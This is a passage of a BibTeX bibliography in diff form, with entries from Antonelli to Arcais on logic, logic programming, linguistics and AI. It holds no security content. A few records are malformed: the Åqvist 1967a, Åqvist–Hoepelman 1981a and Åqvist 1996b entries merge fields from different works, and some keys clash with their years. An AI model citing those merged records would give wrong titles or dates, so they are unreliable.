for Default Logic Via the Notion of + General Extension}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {71--109}, + topic = {nonmonotonic-logic;default-logic;} + } + +@article{ antonelli:2000a, + author = {G. Aldo Antonelli}, + title = {Proto-Semantics for Positive Free Logic}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {3}, + pages = {277--294}, + topic = {free-logic;} + } + +@article{ antonelli:2000b, + author = {G. Aldo Antonelli}, + title = {Review of {\it Handbook of Logic in Artificial + Intelligence and Logic Programming, Volume 3: + Volume 3: Nonmonotonic Reasoning and Uncertain Reasoning}, + edited by {D}ov {G}abbay, {C}hristopher {H}ogger, and + {J}.{A}. {R}obinson}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {480--484}, + xref = {Review of gabbay-etal:1994a.}, + topic = {nonmonotonic-logic;} + } + +@article{ antonelli:2001a, + author = {Aldo Antonelli}, + title = {Review of {\it In the Light of Logic}, by + {S}olomon {F}eferman}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {2}, + pages = {270--277}, + topic = {philosophy-of-mathematics;proof-theory;} + } + +@article{ antonelli-thomason_rh:2002a, + author = {G. Aldo Antonelli and Richmond H. Thomason}, + title = {Representability in Second-Order Propositional Poly-Modal + Logic}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {3}, + pages = {1039--1054}, + topic = {modal-logic;(in)completeness;propositional-quantifiers;} + } + +@incollection{ antoniol-etal:1998a, + author = {Giuliano Antoniol and Roberto Fiutem and Gianni + Lazzari and Renato de Mori}, + title = {System Architectures and Applications}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {583--609}, + address = {New York}, + topic = {spoken-dialogue-systems;} + } + +@incollection{ antoniou-etal:1996a, + author = {Grigoris Antoniou and Allen P. Courtney and J\"org Ernst and + Mary-Anne Williams}, + title = {A System for Computing Constrained + Default Logic Extensions}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {237--250}, + address = {Berlin}, + topic = {default-logic;nonmonotonic-reasoning; + nonmonotonic-reasoning-algorithms;} + } + +@book{ antoniou:1997a, + author = {Grigoris Antoniou}, + title = {Nonmonotonic Reasoning}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-011157-3}, + xref = {Reviews: parsons_s:1999a, vanderhoek:2000b,suchenek:2000a, + tanaka_k2:2001a.}, + topic = {default-logic;autoepistemic-logic;circumscription; + nonmonotonic-reasoning;nonmonotonic-logic;} + } + +@article{ antoniou:1999a, + author = {Grigoris Antoniou}, + title = {Splitting Finite Default Theories: A Comparison + of Two Approaches}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {205--216}, + topic = {nonmonotonic-logic;default-logic;} + } + +@incollection{ antony-levine_j2:1997a, + author = {Louise M. Anthony and Joseph Levine}, + title = {Reduction with Autonomy}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {83--105}, + address = {Oxford}, + topic = {philosophy-of-mind;philosophy-of-psychology;} + } + +@incollection{ anttila:1994a, + author = {Arto Anttila}, + title = {How to Recognize Subjects in {E}nglish}, + editor = {Fred Karlsson et al.}, + booktitle = {Constraint Grammar: A Language-Independent System for Parsing + Unrestricted Text}, + publisher = {Mouton de Gruyter}, + year = {1994}, + missinginfo = {editors, other authors}, + pages = {315--358}, + topic = {grammatical-relations;corpus-linguistics;} +} + +@incollection{ antworth-valentyne:1998a, + author = {Evan L. Antworth and J. Randolph Valentine}, + title = {Software for Doing Field Linguistics}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {170--196}, + address = {London}, + topic = {computational-field-linguistics;} + } + +@incollection{ aone-maloney_j:1997a, + author = {Chinatsu Aone and John Maloney}, + title = {Re-Use of a Proper Noun + Recognition System in Commercial and Operational + {NLP} Applications}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {1--6}, + address = {Somerset, New Jersey}, + topic = {personal-name-recognition;} + } + +@inproceedings{ aone-etal:1998a, + author = {Chinatsu Aone and Mary Ellen Okurowski and James Gorlinsky}, + title = {Trainable, Scalable Summarization Using Robust {NLP} and + Machine Learning}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {62--66}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {text-summary;machine-learning;} + } + +@article{ aoto:1999a, + author = {Takahito Aoto}, + title = {Uniqueness of Normal Proofs in Implicational + Intuitionistic Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {217--242}, + topic = {intuitionistic-logic;proof-theory;} + } + +@book{ aoun:1985a, + author = {Joseph Aoun}, + title = {The Grammar of Anaphora}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + ISBN = {026201075-2}, + topic = {anaphora;government-binding-theory;} + } + +@book{ aoun-li:1993a, + author = {Joseph Aoun and Charles Li}, + title = {Syntax of Scope}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {nl-quantifier-scope;} + } + +@book{ apel:1967a, + author = {Karl-Otto Apel}, + title = {Der {D}enkweg des {C}harles {S}anders {P}eirce}, + publisher = {Suhrkamp}, + year = {1967}, + address = {Frankfurt}, + topic = {Peirce;} + } + +@incollection{ apostel:1971a, + author = {Leo Apostel}, + title = {Further Remarks on the Pragmatics of Natural Language}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {1--34}, + address = {Dordrecht}, + topic = {pragmatics;} + } + +@article{ apostel:1972a, + author = {Leo Apostel}, + title = {Illocutionary Forces and the Logic of Change}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {322}, + pages = {208--224}, + topic = {speech-acts;} + } + +@article{ apostoli-brown:1995a, + author = {Peter Apostoli and Bryson Brown}, + title = {A Solution to the Completeness Problem for Weakly + Aggretive Modal Logic}, + journal = {The Journal of Symbolic Logic}, + year = {1995}, + volume = {60}, + number = {3}, + pages = {832}, + topic = {modal-logic;} + } + +@article{ apostoli:1997a, + author = {Peter Apostoli}, + title = {On the Completeness of First Degree Weakly Aggregative + Modal Logics}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {2}, + pages = {169--180}, + topic = {modal-logic;completeness-theorems;} + } + +@article{ apostoli:2000a, + author = {Peter Apostoli}, + title = {The Analytic Conception of Truth and the Foundations of + Arithmetic}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {1}, + pages = {33--102}, + topic = {foundations-of-mathematics;analyticity;logicism;Frege;} + } + +@inproceedings{ appelt:1983a, + author = {Douglas Appelt}, + title = {Telegram: A Grammar Formalism for Language Planning}, + booktitle = {Eighth International Joint Conference on Artificial + Intelligence}, + year = {1983}, + pages = {595--599}, + missinginfo = {Editor}, + topic = {nl-generation;} +} + +@article{ appelt:1985a, + author = {Douglas Appelt}, + title = {Planning {E}nglish Referring Expressions}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {1}, + pages = {1--33}, + xref = {Also in {\em Readings in Natural Language Processing}, Grosz, + Sparck Jones and Webber eds., Morgan-Kaufmann, 1986}, + topic = {nl-generation;referring-expressions;} +} + +@book{ appelt:1985b, + author = {Douglas Appelt}, + title = {Planning {E}nglish Sentences}, + publisher = {Cambridge University Press}, + year = {1985}, + series = {Studies in Natural Language Processing}, + address = {Cambridge, England}, + topic = {nl-generation;} + } + +@article{ appelt:1985c, + author = {Douglas Appelt}, + title = {Planning {E}nglish Sentences}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {1}, + pages = {1--33}, + topic = {nl-generation;referring-expressions;} + } + +@inproceedings{ appelt-kronfeld:1987a, + author = {Douglas Appelt and Amichai Kronfeld}, + title = {A Computational Model of Referring}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + pages = {640--647}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {referring-expressions;} + } + +@inproceedings{ appelt-konolige:1988a, + author = {Douglas Appelt and Kurt Konolige}, + title = {A Practical Nonmonotonic Theory For Reasoning about Speech + Acts}, + booktitle = {Proceedings of the 26th Meeting of the Association for + Computational Linguistics}, + year = {1988}, + pages = {170--178}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {editor}, + topic = {nonmonotonic-reasoning;speech-acts;pragmatics;} + } + +@techreport{ appelt-kronfeld:1988a, + author = {Douglas Appelt and Amichai Kronfeld}, + year = {1988}, + title = {A Descriptive Model of Reference Using Defaults}, + institution = {SRI International}, + number = {440}, + topic = {nm-ling;referring-expressions;nl-generation;} +} + +@inproceedings{ appelt:1990a, + author = {Douglas Appelt}, + title = {A Theory of Abduction Based on Model Preference}, + booktitle = {Working Notes, {AAAI} Spring Symposium on Automated + Deduction}, + year = {1990}, + editor = {P. O'Rorke}, + pages = {67--71}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {abduction;} + } + +@techreport{ appelt-pollack_me:1990a1, + author = {Douglas E. Appelt and Martha E. Pollack}, + title = {Weighted Abduction for Plan Ascription}, + institution = {SRI International}, + number = {491}, + year = {1990}, + address = {Menlo Park, California}, + xref = {Published as article; see appelt-pollack_me:1990a2.}, + topic = {abduction;} + } + +@article{ appelt-pollack_me:1991a2, + author = {Douglas Appelt and Martha Pollack}, + title = {Weighted Abduction for Plan Ascription}, + journal = {User Modeling and User-Adapted Interaction}, + year = {1991}, + volume = {1}, + number = {4}, + missinginfo = {pages}, + xref = {See appelt-pollack_me:1990a1 for tech report.}, + topic = {abduction;plan-recognition;} + } + +@unpublished{ appelt-israel_dj:1999a, + author = {Douglas E. Appelt and David J. Israel}, + title = {Introduction to Information Extraction Technology: + A Tutorial Prepared for {IJCAI}-99}, + year = {1999}, + note = {Available at http://www.ai.sri.com/\user{}appelt/ie-tutorial/}, + topic = {text-skimming;finite-state-parsing;} + } + +@article{ appiah:1984a, + author = {Anthony Appiah}, + title = {Generalizing the Probabilistic Semantics of Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {4}, + pages = {351--372}, + topic = {probability-semantics;conditionals;} + } + +@book{ appiah:1986a, + author = {Anthony Appiah}, + title = {For Truth in Semantics}, + publisher = {Blackwell Publishers}, + year = {1986}, + address = {Oxford}, + xref = {Review: williamson:1990b.}, + topic = {foundations-of-semantics;philosophical-realism;truth;} + } + +@incollection{ appiah:1993a, + author = {K. Anthony Appiah}, + title = {'Only-Ifs'}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {397--410}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {conditionals;only-if;`only';} + } + +@techreport{ apt:1987a, + author = {Krzysztof R. Apt}, + title = {Introduction to Logic Programming}, + institution = {Department of Computer Science, University of + Texas at Austin}, + number = {TR-87-35}, + year = {1987}, + address = {Austin, Texas}, + topic = {logic-programming;} + } + +@techreport{ apt-pugin:1987a, + author = {Krzysztof R. Apt and Jean-Marc Pugin}, + title = {Management of Stratified Data Bases}, + institution = {Department of Computer Science, University of + Texas at Austin}, + number = {TR-87-41}, + year = {1987}, + address = {Austin, Texas}, + topic = {logic-programming;databases;} + } + +@incollection{ apt-etal:1988a, + author = {Krzysztof R. Apt and A. Blair and A. Walker}, + title = {Towards a Theory of Declarative Knowledge}, + booktitle = {Foundations of Deductive Databases and Logic + Programming}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Jack Minker}, + address = {Los Altos, California}, + pages = {89--148}, + topic = {logic-programming;} + } + +@incollection{ apt:1990a, + author = {Krzysztof R. Apt}, + title = {Logic Programming}, + booktitle = {Handbook of Theoretical Computer Science, Vol. B}, + publisher = {Elsevier Science Publishers}, + year = {1990}, + pages = {493--574}, + address = {Amsterdam}, + missinginfo = {Editor.}, + topic = {logic-programming;} + } + +@article{ apt-blair_a:1990a, + author = {Krzysztof R. Apt and A. Blair}, + title = {Arithmetic Classification of Perfect Models of Stratified + Logic Programs}, + journal = {Fundamenta Informaticae}, + year = {1990}, + volume = {13}, + pages = {1--17}, + note = {Addenda in Vol. 14, pp. 339--441, 1991.}, + missinginfo = {A's 1st name, number}, + topic = {stratified-logic-programs;} + } + +@book{ apt:1991a, + author = {Krzysztof R. Apt}, + title = {Verification of Sequential and Concurrent Programs}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + ISBN = {0387975322}, + topic = {program-verification;} + } + +@book{ apt:1992a, + editor = {Krzysztof Apt}, + title = {Logic Programming : Proceedings of the Joint International + Conference and Symposium on Logic Programming}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {0262510642}, + topic = {logic-programming;} + } + +@article{ apt-pedreschi:1993a, + author = {Krzysztof R. Apt and D. Pedreschi}, + title = {Reasoning about Termination of Pure Prolog Programs}, + journal = {Information and Computation}, + year = {1993}, + volume = {106}, + number = {1}, + pages = {109--157}, + topic = {logic-programs;program-termination;} + } + +@book{ apt-turini:1995a, + editor = {Krzysztof R. Apt and Franco Turini}, + title = {Meta-Logics and Logic Programming}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + ISBN = {0262011522 (hc)}, + topic = {metareasoning;logic-programming;} + } + +@inproceedings{ apt:1999a, + author = {Krzysztof R. Apt}, + title = {Formulas as Programs: A Computational Interpretation + of First-Order Logic}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {procedural-semantics;} + } + +@book{ apt-etal:1999a, + editor = {Krysztof R. Apt and Victor W. Marek and Marek Truszcynski + and David S. Warren}, + title = {The Logic Programming Paradigm: A Twenty-Five Year Perspective}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + ISBN = {3-540-65463-1}, + xref = {Review: reynolds_m:2002a}, + topic = {logic-programming;} + } + +@article{ aqvist:1967a, + author = {Lennart {\AA}qvist}, + title = {Good {S}amaritans, Contrary-to-Duty Imperaitves, and + Epistemic Obligations}, + journal = {N\^{o}us}, + year = {1967}, + volume = {1}, + pages = {361--379}, + missinginfo = {number}, + title = {Improved Formulations of Act-Utilitarianism}, + journal = {No\^us}, + volume = {3}, + year = {1969}, + pages = {299--323}, + topic = {utilitarianism;} + } + +@techreport{ aqvist:1971a, + author = {Lennart {\AA}qvist}, + title = {Modal Logic with Subjunctive Conditionals and Dispositional + Predicates}, + institution = {Filosofiska Institutionen, Uppsala Universitet}, + number = {12}, + year = {1971}, + address = {Uppsala}, + topic = {modal-logic;conditionals;dispositions;} + } + +@incollection{ aqvist:1971b, + author = {Lennart {\AA}qvist}, + title = {Causation by Agents: The Set-Theoretic Analysis of Music + as the Basis of the Logic of Agency}, + booktitle = {Festschrift till {S}tig {S}tr\"omholm}, + year = {1971}, + editor = {{\AA}ke Fr\"andberg and U. G\"oransen and T. H{\aa}sted}, + pages = {867--882}, + missinginfo = {publisher, address}, + topic = {stit;branching-time;} + } + +@article{ aqvist:1973a, + author = {Lennart {\AA}qvist}, + title = {Modal Logic with Subjunctive Conditionals and + Dispositional Predicates}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {1--76}, + topic = {modal-logic;conditionals;dispositions;} + } + +@unpublished{ aqvist-gunthner:1976a, + author = {Lennart {\AA}qvist and Franz Gunthner}, + title = {Fundamentals of a Theory of Verb Aspect and Events + within the Setting of an Improved Tense-Logic}, + year = {1976}, + note = {Unpublished manuscript, University of Stuttgart}, + topic = {tense-logic;tense-aspect;} + } + +@incollection{ aqvist:1978a, + author = {Lennart {\AA}qvist}, + title = {A System of Chronological Tense Logic}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {223--254}, + address = {Dordrecht}, + topic = {nl-semantics;temporal-logic;} + } + +@article{ aqvist:1978b, + author = {Lennart {\AA}qvist}, + title = {A Conjectured Axiomatization of Two-Dimensional + {R}eichenbachian Tense Logic}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {8}, + number = {1}, + pages = {1--45}, + topic = {temporal-logic;} + } + +@incollection{ aqvist-guenthner:1978a, + author = {Lennart {\AA}qvist and Franz Guenthner}, + title = {Fundamentals of a Theory of Verb Aspect and Events + within the Setting of an Improved Tense-Logic}, + booktitle = {Studies in Formal Semantics}, + publisher = {North-Holland Publishing Company}, + year = {1978}, + editor = {Franz Guenthner and Christian Rohrer}, + pages = {167--199}, + address = {Amsterdam}, + topic = {nl-tense-aspect;tense-logic;} + } + +@article{ aqvist:1981a, + author = {Lennart {\AA}qvist}, + title = {Predicate Calculi with Adjectives and Nouns}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {1}, + pages = {1--26}, + topic = {semantics-of-adjectives;} + } + +@incollection{ aqvist-hoepelman:1981a, + author = {Lennart {\AA}qvist and Jaap Hoepelman}, + title = {Some Theorems about a Tree System of Deontic + Tense Logic}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {187--221}, + title = {Deontic Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {605--714}, + address = {Dordrecht}, + topic = {deontic-logic;} + } + +@incollection{ aqvist:1985a, + author = {Lennart {\AA}qvist}, + title = {The {P}rotagoras Case: An Exercise in Elementary Logic for + Lawyers}, + booktitle = {Time, Law, and Society}, + publisher = {Franz Steiner Verlag}, + year = {1985}, + address = {Stuttgart}, + missinginfo = {editor, pages}, + topic = {Protagoras-vs-Euathlus-paradox;deontic-logic;} + } + +@unpublished{ aqvist:1992a, + author = {Lennart {\AA}qvist}, + title = {Prima Facie Obligations in Deontic Logic: A + {C}hisholmian Analysis Based on Normative Preference + Structures}, + year = {1992}, + note = {Manuscript, Department of Law, Uppsala University, + Sweden}, + topic = {prima-facie-obligation;deontic-logic;} + } + +@article{ aqvist:1996a, + author = {Lennart {\AA}qvist}, + title = {Discrete Tense Logic with Infinitary Inference Rules and + Systematic Frame Constraints: A {H}ilbert-style Axiomatization}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {1}, + pages = {45--100}, + topic = {temporal-logic;} + } + +@unpublished{ aqvist:1996b, + author = {Lennart {\AA}qvist}, + title = {Equivalence of Two Approaches to the Study of Historical + Necessity}, + year = {1996}, + note = {Unpublished manuscript, Department of Law, Uppsala University.}, + missinginfo = {Date is a guess.}, + title = {On Certain Extensions of von {K}utshera's Preference-Based + Dyadic Deontic Logic}, + booktitle = {Das weite {S}pektrum der analytischen {P}hilosophie}, + publisher = {Walter de Gruyter}, + year = {1971}, + editor = {Wolfgang Lenzen}, + pages = {8--23}, + address = {Berlin}, + topic = {deontic-logic;preferences;} + } + +@article{ aqvist:1999a, + author = {Lennart {\AA}qvist}, + title = {The Logic of Historical Necessity as Founded on + Two-Dimensional Modal Tense Logic}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {4}, + pages = {329--369}, + Note = {Erratum in {\it JPL} 25:5, 2000, pp. 541--542.}, + topic = {branching-time;temporal-logic;modal-logic;tmix-project;} + } + +@article{ arai:2000a, + author = {Toshiyasu Arai}, + title = {Review of {\em Handbook of Proof Theory}, by + {S}amuel {R}. {B}uss}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {463--477}, + xref = {Review of: buss:1998a.}, + topic = {proof-theory;} + } + +@article{ arai:2000b, + author = {Toshiyasu Arai}, + title = {Review of {\em An Introduction to Proof Theory}, by + {S}amuel {R}. {B}uss}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {464--465}, + xref = {Review of: buss:1998b.}, + topic = {proof-theory;} + } + +@article{ arai:2000c, + author = {Toshiyasu Arai}, + title = {Review of {\em First-Order Proof Theory of Arithmetic}, by + {S}amuel {R}. {B}uss}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {465--466}, + xref = {Review of: buss:1998c.}, + topic = {proof-theory;formalizations-of-arithmetic;} + } + +@article{ arai:2000d, + author = {Toshiyasu Arai}, + title = {Review of {\em Hierarchies of Provably Recursive + Functions}, by Matt Fairtlough and Stanley S. {W}ainer}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {466--467}, + xref = {Review of: fairtlough-wainer:1998a.}, + topic = {proof-theory;recursion-theory;} + } + +@article{ arai:2000e, + author = {Toshiyasu Arai}, + title = {Review of {\em Subsystems of Set Theory and Second-Order + Number Theory}, by {W}olfram {P}ohlers}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {467--469}, + xref = {Review of: pohlers:1998a.}, + topic = {proof-theory;set-theory;formalizations-of-arithmetic;} + } + +@article{ arai:2000f, + author = {Toshiyasu Arai}, + title = {Review of {\em G\"odel's Functional (`Dialectica') + Interpretation}, by {J}eremy {A}vigad and {S}olomon + {F}eferman}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {469--471}, + xref = {Review of: avigad-feferman:1998a.}, + topic = {proof-theory;intuitionistic-logic;recursion-theory;} + } + +@article{ arai:2000g, + author = {Toshiyasu Arai}, + title = {Review of {\em Realizability}, by A.S. {T}roelstra}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {470--471}, + xref = {Review of: troelstra:1998a.}, + topic = {proof-theory;realizability;} + } + +@article{ arai:2000h, + author = {Toshiyasu Arai}, + title = {Review of {\em The Logic of Provability}, by + Giorgi Japaridze and Dick de {J}ongh}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {472--473}, + xref = {Review of: japaridze-dejongh:1998a.}, + topic = {provability-logic;modal-logic;} + } + +@article{ arai:2000i, + author = {Toshiyasu Arai}, + title = {Review of {\em The Length of Proofs}, by + Pavel Pudl\'{a}k}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {473--475}, + xref = {Review of: padlak:1998a.}, + topic = {proof-complexity;} + } + +@article{ arai:2000j, + author = {Toshiyasu Arai}, + title = {Review of {\em A Proof-Theoretic + Framework for Logic Programming}, by + Gerhard J\"ager and Robert F. St\"{a}rk}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {475--476}, + xref = {Review of: jager-stark:1998a.}, + topic = {proof-theory;logic-programming;} + } + +@article{ arai:2000k, + author = {Toshiyasu Arai}, + title = {Review of {\em Types in Logic, Mathematics, and + Programming}, by {R}.{L}. {C}onstable}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {476--477}, + xref = {Review of: constable:1998a.}, + topic = {proof-theory;type-theory;} + } + +@inproceedings{ araki-etal:1999a, + author = {Masahiro Araki and Kazunoru Komatani and Taishi Hirata + and Shuji Doshita}, + title = {A Dialogue Library for Task-Oriented Spoken Dialogue + Systems}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {1--7}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;} + } + +@incollection{ aravindan:1996a, + author = {Chandrabose Aravindan}, + title = {An Abductive Framework for Negation in + Disjunctive Logic Programming}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {252--267}, + address = {Berlin}, + topic = {abduction;negation;disjunctive-logic-programming;} + } + +@incollection{ aravindin-dung:1994a, + author = {Chandrabrose Aravindan and Phan Minh Dung}, + title = {Belief Dynamics, Abduction, and Databases}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {66--85}, + address = {Berlin}, + topic = {belief-revision;abduction;} + } + +@article{ aravindin-dung:1994b, + author = {Chandrabrose Aravindan and Phan Minh Dung}, + title = {Partial Deduction of Logic Programs wrt Well-Founded + Semantics}, + journal = {New Generation Computing}, + year = {1994}, + volume = {13}, + pages = {45--74}, + missinginfo = {number}, + topic = {logic-programming;well-founded-semantics;} + } + +@article{ aravindin-dung:1995a, + author = {Chandrabrose Aravindan and Phan Minh Dung}, + title = {On the Correctness of the Fold/Unford Transformations + of Normal and Extended Logic Programs}, + journal = {Journal of Logic Programming}, + year = {1995}, + volume = {24}, + number = {3}, + pages = {201--218}, + topic = {logic-programming;extended-logic-programming;} + } + +@proceedings{ aravindin:1996a, + author = {Chandrabrose Aravindan}, + title = {An Abductive Framework for Negation in Disjunctive + Logic Programming}, + booktitle = {{JELIA}'96}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and and + Eva Orlowska}, + publisher = {Springer-Verlag}, + address = {Berlin}, + missinginfo = {pages}, + topic = {abduction;negation;disjunctive-logic-programming;} + } + +@book{ arbib:1964a, + author = {Michael A. Arbib}, + title = {Brains, Machines, and Mathematics}, + publisher = {McGraw-Hill}, + year = {1964}, + address = {New York}, + topic = {foundations-of-cognition;automata-theory; + connectionist-models;information-theory;goedels-first-theorem;} + } + +@incollection{ arbib:1988a, + author = {Michael A. Arbib}, + title = {From Universal {T}uring Machines + to Self-Reproduction}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {177--189}, + address = {Oxford}, + topic = {Turing;history-of-theory-of-computation; + self-reproducing-automata;} + } + +@article{ arbib:1992a, + author = {Michael A. Arbib}, + title = {Review of {\it The Cognitive Structure of Emotions}, by + {G}erald {L}. {C}lore and {A}llan {C}ollins}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {1--2}, + pages = {229--240}, + xref = {Review of ortony-etal:1988a.}, + topic = {emotions;cognitive-psychology;} + } + +@article{ arbib:1993a, + author = {Michael A. Arbib}, + title = {Book Review of `Unified Theories of Cognition' + ({A}llen {N}ewell)}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {265--265}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@article{ arbib-liaw:1995a, + author = {Michael A. Arbib and Jim-Shih Liaw}, + title = {Sensorimotor Transformations in the Worlds of Frogs and + Robots}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {53--79}, + acontentnote = {Abstract: + The paper develops a multilevel approach to the design and + analysis of systems with "action-oriented perception", situating + various robot and animal ``designs'' in an evolutionary + perspective. We present a set of biological design principles + within a broader perspective that shows their relevance for + robot design. We introduce schemas to provide a coarse-grain + analysis of ``cooperative computation'' in the brains of animals + and the ``brains'' of robots, starting with an analysis of + approach, avoidance, detour behavior, and path planning in + frogs. An explicit account of neural mechanism of avoidance + behavior in the frog illustrates how schemas may be implemented + in neural networks. The focus of the rest of the article is on + the relation of instinctive to reflective behavior. We + generalize an analysis of the interaction of perceptual schemas + in the VISIONS system for computer vision to a view of the + interaction of perceptual and motor schemas in distributed + planning which, we argue, has great promise for integrating + mechanisms for action and perception in both animal and robot. + We conclude with general observations on the lessons on relating + structure and function which can be carried from biology to + technology. } , + topic = {computer-vision;active-perception;neural-computation;} + } + +@article{ arbin:1973a, + author = {Ronald Arbin}, + title = {On Explanations of Linguistic Competence}, + journal = {Philosophia}, + year = {1973}, + volume = {3}, + number = {1}, + pages = {59--83}, + topic = {competence;philosophy-of-linguistics;} + } + +@book{ arcais-jarvella:1983a, + editor = {G.B. Flores d'Arcais and R.J. Jarvella}, + title = {The Process of Language Understanding}, + publisher = {John Wiley and Sons}, + year = {1983}, + address = {New York}, + ISBN = {0471901296}, + topic = 